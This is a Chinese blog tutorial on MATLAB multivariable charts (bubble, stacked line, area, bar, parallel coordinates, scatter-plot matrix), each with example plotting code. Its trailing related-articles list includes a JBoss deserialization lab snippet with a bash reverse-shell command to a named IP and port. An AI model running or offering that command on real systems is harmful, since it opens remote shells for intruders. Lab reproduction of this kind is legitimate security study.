MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。
9.多变量图形绘制
9.1 气泡图
-
气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素:
- 横轴( X {\rm X} X轴):表示数据集中的一个变量,通常是数值变量;
- 纵轴( Y {\rm Y} Y轴):表示数据集中的一个变量,通常是数值变量;
- 气泡的大小:表示数据集中的另一个数值变量,较大的气泡表示较大的数值,较小的气泡表示较小的数值;
- 气泡的颜色:表示数据集中的第四个变量,通常是一个分类变量,不同颜色表示不同的类别或子组;
- 数据点标签:可在气泡上添加标签,显示具体数值或其他相关信息;
-
气泡图的常见应用场景:
- 经济数据分析:气泡图用于展示不同国家或地区的经济指标,如国内生产总值和人均收入间的关系,横轴表示生产总值,纵轴表示人均收入,气泡大小表示人口数量,不同颜色气泡代表不同地区或国家;
- 金融市场分析:气泡图用于展示不同资产类别的回报率、波动性和市值间的关系;
- 科学研究:气泡图用于展示实验结果,横轴和纵轴表示两个相关变量,气泡大小表示第三个变量;
- 地理信息系统:气泡图常用于地理数据的可视化,横轴和纵轴表示地理坐标,气泡大小表示地区的人口或某种地理现象的强度;
- 环境科学:气泡图可用于显示不同地区或国家的环境指标,如:二氧化碳排放量和可再生能源使用情况;
- 医疗和生物学:气泡图用于显示不同治疗方案的效果,横轴和纵轴表示治疗参数,气泡大小表示患者数量,不同颜色气泡表示不同的疾病类型;
- 社会科学:气泡图用于分析社会变量间的关系,如:教育水平、收入和居住地的关联;
-
气泡图绘制基本示例:
% ch09_01.m clear; clc;% 1.假设有一组数据,X代表横坐标,Y代表纵坐标,C代表每个点的颜色 X = rand(1, 100); % 生成100个随机数作为横坐标 Y = rand(1, 100); % 生成100个随机数作为纵坐标 C = rand(1, 100); % 生成100个随机数作为颜色值% 2.创建气泡图 scatter(X, Y, 30, C, 'filled'); colorbar; % 显示颜色条% 3.标签、标题; title('气泡图基本绘制示例'); % 图的标题 xlabel('X轴'); % X轴标签 ylabel('Y轴'); % Y轴标签% 4.生成高质量图像; dpi = 600; imagePath = 'D:\自动控制理论\MATLAB绘图\Images\ch09_01.png'; print(imagePath, '-dpng', ['-r', num2str(dpi)]);
9.2 堆积折线图
-
堆积折线图可显示多个数据系列叠加在一起的折线图,常用于展现不同类目的数据趋势变化;
-
堆积折线图常见应用场景:
- 时间序列数据的趋势比较:堆积折线图常用于比较多个事件序列数据的趋势,如:一个公司可使用堆积折线图比较不同产品线的销售趋势,了解哪个产品线对总销售额的贡献最大;
- 市场份额分析:堆积折线图用于比较不同公司或产品在市场上的份额变化,每个公司或产品的趋势线叠加在一起,显示它们在市场份额方面的相对贡献;
- 资源分配和规划:项目管理和资源规划中,堆积折线图用于比较不同项目或任务的进度趋势,及对总体资源利用的影响;
- 社会经济数据比较:政府和研究机构可使用堆积折线图来比较不同地区或群体的社会经济指标的趋势;
- 生态学研究:生态学研究中,堆积折线图可用于比较不同物种或生态系统中各个因素的趋势,以研究它们间的相互作用;
- 投资组合分析:金融领域中,堆积折线图可用于比较不同投资组合中各个资产的表现,并展示它们对总投资组合价值的贡献;
-
堆积折线图基本绘制示例:
% ch09_02.m clear; clc;% 1.创建示例数据; microseconds = [100, 200, 300, 400, 500, 600, 700, 800]; method1_results = [10, 15, 13, 17, 20, 25, 28, 30]; method2_results = [9, 12, 11, 14, 18, 20, 23, 25]; method3_results = [5, 9, 10, 13, 16, 20, 24, 26];figure; hold on;% 2.绘制折线图; plot(microseconds, method1_results, 'b-o', 'LineWidth', 2, 'MarkerSize', 8, 'MarkerFaceColor', 'b'); plot(microseconds, method2_results, 'r-s', 'LineWidth', 2, 'MarkerSize', 8, 'MarkerFaceColor', 'r'); plot(microseconds, method3_results, 'g-^', 'LineWidth', 2, 'MarkerSize', 8, 'MarkerFaceColor', 'g');% 3.添加区域填充 fill([microseconds, fliplr(microseconds)], [method1_results, fliplr(method1_results + method2_results)], 'c', 'EdgeColor', 'none', 'FaceAlpha', 0.5); fill([microseconds, fliplr(microseconds)], [method1_results + method2_results, fliplr(method1_results + method2_results + method3_results)], 'y', 'EdgeColor', 'none', 'FaceAlpha', 0.5);% 4.标题、标签、图例; xlabel('时间/微秒'); ylabel('实验结果'); title('堆积折线图基本示例图'); legend('Method 1', 'Method 2', 'Method 3'); grid on; hold off;% 5.生成高质量图像; dpi = 600; imagePath = 'D:\自动控制理论\MATLAB绘图\Images\ch09_02.png'; print(imagePath, '-dpng', ['-r', num2str(dpi)]);
9.3 堆积面积图
-
堆积面积图通常用于展示多个类别或组的数据在一个时间段或连续轴上的积累趋势,每个类别的数据以不同颜色的堆积区域表示,观察整体趋势及每个类别的贡献;
-
堆积面积图常见的应用场景:
- 财务数据分析:堆积面积图用来展示公司的财务数据,如:收入、成本、利润等在不同时间段的堆积变化,每个类别代表一个财务指标,时间轴表示不同的财年或季度;
- 市场份额分析:堆积面积图可用于展示不同竞争对手在市场上的份额随时间的变化,每个竞争对手的市场份额用不同颜色的堆积面积表示;
- 生态学研究:生态学研究中,堆积面积图用来展示不同物种在生态系统中的相对丰富度随时间的变化,每个物种的丰富度用不同颜色的堆积面积表示;
- 人口统计学研究:堆积面积图用于展示不同年龄组或人口组在一段时间内的人口分布变化,每个年龄组或人口组用不同颜色的堆积面积表示;
- 气象数据分析:气象学中,堆积面积图用于展示不同气象因素,如:温度、湿度、降水等,在一年中的季节性变化,每个气象因素用不同颜色的堆积面积表示;
- 电力消耗分析:用于展示不同能源来源,如:煤炭、天然气、风能、太阳能等,在一个地区的电力消耗情况,每种能源来源用不同颜色的堆积面积表示;
-
堆积面积图绘制基本示例:
% ch09_03.m clear; clc;% 1.生成基本数据; X = 1:50; Y1 = randi([1, 100], 1, 50); Y2 = randi([1, 100], 1, 50); Y3 = randi([1, 100], 1, 50);figure;stackY = [Y1;Y1 + Y2;Y1 + Y2 + Y3];% 2.绘制堆积面积图; area(X, stackY', 'EdgeColor', 'none');% 3.标签、标题、图例; xlabel('X轴'); ylabel('Y轴'); title('堆积面积图基本示例图'); legend('Y1系列', 'Y2系列', 'Y3系列');% 4.生成高质量图像; dpi = 600; imagePath = 'D:\自动控制理论\MATLAB绘图\Images\ch09_03.png'; print(imagePath, '-dpng', ['-r', num2str(dpi)]);
9.4 堆积柱状图
-
堆积柱状图用于可视化分类数据的图形类型,适用于展示多个类别的一个或多个组中的相对比例和总计;
-
堆积柱状图将多个柱状图堆积在一起,形成一个整体柱状图,每个柱子代表一个组,堆积在柱子内部的不同颜色的部分代表不同的类别;
-
堆积柱状图常见的应用场景:
- 市场份额分析:堆积柱状图用于展示不同品牌或公司的市场份额,每个柱子代表一个市场或行业,柱子内的不同颜色部分表示不同品牌或公司的市场份额;
- 资源分配:项目管理中,堆积柱状图可用于展示不同资源或任务在项目中的分配情况,每个柱子代表一个项目阶段或时间段,柱子内的不同颜色部分表示不同资源或任务的占用情况;
- 研究数据分析:科学研究中,堆积柱状图可用于展示实验数据的不同类别的分布情况,每个柱子代表一个实验条件或样本组,柱子内的不同颜色部分表示不同类别的测量值;
- 金融分析:金融领域中,堆积柱状图用于展示不同资产类别的投资组合,每个柱子代表一个投资组合,柱子内的不同颜色部分表示不同资产类别的占比;
-
堆积柱状图基本绘制示例:
% ch09_04.m clear; clc;% 1.创建模拟数据; companies = {'公司1', '公司2', '公司3', '公司4', '公司5'}; product1 = [10, 20, 30, 50, 40]; product2 = [40, 20, 30, 10, 50]; product3 = [20, 30, 10, 40, 50]; product4 = [30, 40, 50, 10, 20]; product5 = [50, 10, 20, 30, 40];figure;% 2.绘制堆叠柱状图; bar([product1;product2;product3;product4;product5]', 'stacked');% 3.标题、标签、图例; xlabel('公司名称'); ylabel('不同产品销售额'); title('不同公司不同产品销售额(亿元)'); legend('产品1', '产品2', '产品3', '产品4', '产品5', 'Location', 'northeastoutside');% 4.设置X轴刻度标签; xticks(1:5); xticklabels(companies);% 5.生成高质量图像; dpi = 600; imagePath = 'D:\自动控制理论\MATLAB绘图\Images\ch09_04.png'; print(imagePath, '-dpng', ['-r', num2str(dpi)]);
9.5 平行坐标图
-
平行坐标图用于可视化多维数据的图形类型,适用于探索多个特征或属性之间的关系;
-
平行坐标图中,每个数据点表示为一条线段,该线段与坐标轴平行,每个坐标轴代表数据的一个特征或属性,通过在不同的坐标轴上绘制线段,观察不同特征之间的关系和模式;
-
常见的平行坐标图的应用场景:
- 数据探索和发现模式:平行坐标图用于探索多维数据集中的模式、趋势和异常值,观察线段在不同坐标轴上的分布和交叉;
- 特征分析:机器学习和数据科学中,平行坐标图用来分析不同特征间的相关性和影响;
- 分类和聚类:平行坐标图可视化不同类别或簇之间的差异;
- 时间序列分析:每个坐标轴代表时间的不同点,平行坐标图用于可视化时间序列数据中的趋势和变化;
- 地理信息系统:地理信息系统中,平行坐标图用于可视化和分析具有多个地理属性的地理数据,如:城市规划、地理特征的空间分布等;
- 生物信息学:生物学和遗传学中,平行坐标图用于分析基因组数据,比较不同基因的表达水平,或可视化不同样本之间的差异;
- 金融分析:金融领域中,平行坐标图用于分析不同金融指标间的关系,或用于股票和投资组合的分析;
-
平行坐标图绘制基本示例:
% ch09_05.m clear; clc;% 1.创建示例数据,每一行代表一个数据点,每一列代表一个属性; data = [0.3, 0.4, 0.2, 0.7, 0.5, 0.8, 0.9, 0.1;0.5, 0.6, 0.4, 0.8, 0.7, 0.2, 0.3, 0.9;0.2, 0.3, 0.1, 0.6, 0.4, 0.9, 0.8, 0.5;0.4, 0.5, 0.3, 0.7, 0.6, 0.2, 0.1, 0.9; ];% 2.创建一个新图形窗口; figure;% 3.获取数据点的数量; numDataPoints = size(data, 1);% 4.创建颜色矩阵,每行对应一个数据点的颜色; colors = jet(numDataPoints);% 5.绘制平行坐标图; for i = 1:numDataPointsparallelcoords(data(i, :), 'Color', colors(i, :));hold on; % 保持图形打开以添加更多的数据点 end% 6.自定义坐标轴的范围; axis([1, 8, 0, 1]);% 7.标题、标签、图例; legend('Location', 'northeast'); xlabel('属性'); ylabel('属性值'); title('平行坐标图'); set(findobj(get(gca,'Children'),'LineWidth',0.5),'LineWidth',2.0);% 8.生成高质量图像; dpi = 600; imagePath = 'D:\自动控制理论\MATLAB绘图\Images\ch09_05.png'; print(imagePath, '-dpng', ['-r', num2str(dpi)]);
9.6 散点图矩阵
-
散点图矩阵用于同时展示多个变量之间的关系,通常用于多维数据集的探索性数据分析,分析变量之间的相关性、分布和趋势;
-
散点图矩阵通过在一个矩阵中绘制多个散点图实现,在矩阵中的每个小格子里,显示两个不同变量之间的散点图;
-
常见的散点图矩阵应用场景:
- 探索数据集:帮助研究者快速了解数据集中多个变量之间的关系;
- 发现相关性:通过散点图可以确定是否存在线性或非线性相关性,或是否存在群集或聚类;
- 检测异常值:异常值在散点图中是离群点,容易被发现;
- 了解分布:通过散点图了解每个变量的分布情况;
- 数据预处理:建模前,散点图矩阵帮助确定哪些变量之间存在共线性,或哪些变量可能需要进行数据转换或归一化;
-
绘制散点图矩阵基本示例:
% ch09_06.m clear; clc;% 1.生成随机数据; data = randn(300, 5);% 2.绘制散点图矩阵; figure;for i = 1:5for j = 1:5subplot(5, 5, (i - 1) * 5 + j);if i == jhistogram(data(:, i));elsescatter(data(:, i), data(:, j), '.');endend end% 3.生成高质量图像; dpi = 600; imagePath = 'D:\自动控制理论\MATLAB绘图\Images\ch09_06.png'; print(imagePath, '-dpng', ['-r', num2str(dpi)]);
相关文章:
MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...
JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...
每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...
低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...
国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...
3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...
Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...
计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...
【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...
猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...
盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...
记录Mac编译Android源码踩过的坑
学习Android源码,如果电脑配置还不错,最好还是下载一套源码,经过编译后导入到Android Studio中来学习,这样会更加的直观,代码之间的跳转查看会更加方便。因此,笔者决定下载并编译一套源码,以利于…...
C++ 数据结构算法细节相关
细节 队列 这段代码实现的是二叉树的层序遍历,也就是按照树的层次,一层一层地遍历节点。下面我会为你详细解释这段代码。 queue <TreeNode*> q; 这是一个队列,队列中存放的是指向TreeNode的指针。队列(queue)是…...
【HTML5】html5开篇基础(1)
1.❤️❤️前言~🥳🎉🎉🎉 Hello, Hello~ 亲爱的朋友们👋👋,这里是E绵绵呀✍️✍️。 如果你喜欢这篇文章,请别吝啬你的点赞❤️❤️和收藏📖📖。如果你对我的…...
C#自定义曲线绘图面板
一、实现功能 1、显示面板绘制。 2、拖动面板,X轴、Y轴都可以拖动。 3、显示面板缩放,放大或者缩小。 4、鼠标在面板中对应的XY轴数值。 5、自动生成的数据数组,曲线显示。 6、鼠标是否在曲线上检测。 二、界面 拖动面板 鼠标在曲线上…...
Java后端面试题+下一篇答案+实况场景题
uu们大家好!市面上面试题很多,这边汇总并更新一下java后端面试的题目,助大家早日斩下心仪的offer!!(下次跟新场景题...等我多碰几次壁...哈哈哈哈哈) 这边放题目,下一篇跟新所有另面…...
完美解决vant浮动气泡+弹出菜单
使用框架: vue3,vant4 项目需求: 需要有一个浮动气泡,点击弹出导航菜单 遇到的问题: 1. 使用van-floating-bubble包裹van-popover,但点击后只会重复显示不能隐藏 2. popover位置固定,不能根据…...
SpringSecurity -- 入门使用
文章目录 什么是 SpringSesurity ?细节使用方法 什么是 SpringSesurity ? 在我们的开发中,安全还是有些必要的 用 拦截器 和 过滤器 写代码还是比较麻烦。 SpringSecurity 是 SpringBoot 的底层安全默认选型。一般我们需要认证和授权…...
C语言习题~day33
1.以下程序运行时,若输入1abcedf2df输出结果是() #include <stdio.h> int main() { char a 0, ch; while ((ch getchar()) ! \n) { if (a % 2 ! 0 && (ch > a && ch < z)) ch ch - a A; a; putchar(ch); }…...
作业报告┭┮﹏┭┮(Android反调试)
一:Android反调试 主要是用来防止IDA进行附加的,主要的方法思路就是,判断自身是否有父进程,判断是否端口被监听,然后通过调用so文件中的线程进行监视,这个线程开启一般JNI_OnLoad中进行开启的。但是这个是…...
观成科技:隐蔽隧道工具Ligolo-ng加密流量分析
1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具,该工具基于TUN接口实现其功能,利用反向TCP/TLS连接建立一条隐蔽的通信信道,支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式,适应复杂网…...
Java 语言特性(面试系列1)
一、面向对象编程 1. 封装(Encapsulation) 定义:将数据(属性)和操作数据的方法绑定在一起,通过访问控制符(private、protected、public)隐藏内部实现细节。示例: public …...
YSYX学习记录(八)
C语言,练习0: 先创建一个文件夹,我用的是物理机: 安装build-essential 练习1: 我注释掉了 #include <stdio.h> 出现下面错误 在你的文本编辑器中打开ex1文件,随机修改或删除一部分,之后…...
Neo4j 集群管理:原理、技术与最佳实践深度解析
Neo4j 的集群技术是其企业级高可用性、可扩展性和容错能力的核心。通过深入分析官方文档,本文将系统阐述其集群管理的核心原理、关键技术、实用技巧和行业最佳实践。 Neo4j 的 Causal Clustering 架构提供了一个强大而灵活的基石,用于构建高可用、可扩展且一致的图数据库服务…...
MySQL 8.0 OCP 英文题库解析(十三)
Oracle 为庆祝 MySQL 30 周年,截止到 2025.07.31 之前。所有人均可以免费考取原价245美元的MySQL OCP 认证。 从今天开始,将英文题库免费公布出来,并进行解析,帮助大家在一个月之内轻松通过OCP认证。 本期公布试题111~120 试题1…...
Kafka入门-生产者
生产者 生产者发送流程: 延迟时间为0ms时,也就意味着每当有数据就会直接发送 异步发送API 异步发送和同步发送的不同在于:异步发送不需要等待结果,同步发送必须等待结果才能进行下一步发送。 普通异步发送 首先导入所需的k…...
从“安全密码”到测试体系:Gitee Test 赋能关键领域软件质量保障
关键领域软件测试的"安全密码":Gitee Test如何破解行业痛点 在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的"神经中枢"。从国防军工到能源电力,从金融交易到交通管控,这些关乎国计民生的关键领域…...
零知开源——STM32F103RBT6驱动 ICM20948 九轴传感器及 vofa + 上位机可视化教程
STM32F1 本教程使用零知标准板(STM32F103RBT6)通过I2C驱动ICM20948九轴传感器,实现姿态解算,并通过串口将数据实时发送至VOFA上位机进行3D可视化。代码基于开源库修改优化,适合嵌入式及物联网开发者。在基础驱动上新增…...
API网关Kong的鉴权与限流:高并发场景下的核心实践
🔥「炎码工坊」技术弹药已装填! 点击关注 → 解锁工业级干货【工具实测|项目避坑|源码燃烧指南】 引言 在微服务架构中,API网关承担着流量调度、安全防护和协议转换的核心职责。作为云原生时代的代表性网关,Kong凭借其插件化架构…...
Linux中《基础IO》详细介绍
目录 理解"文件"狭义理解广义理解文件操作的归类认知系统角度文件类别 回顾C文件接口打开文件写文件读文件稍作修改,实现简单cat命令 输出信息到显示器,你有哪些方法stdin & stdout & stderr打开文件的方式 系统⽂件I/O⼀种传递标志位…...
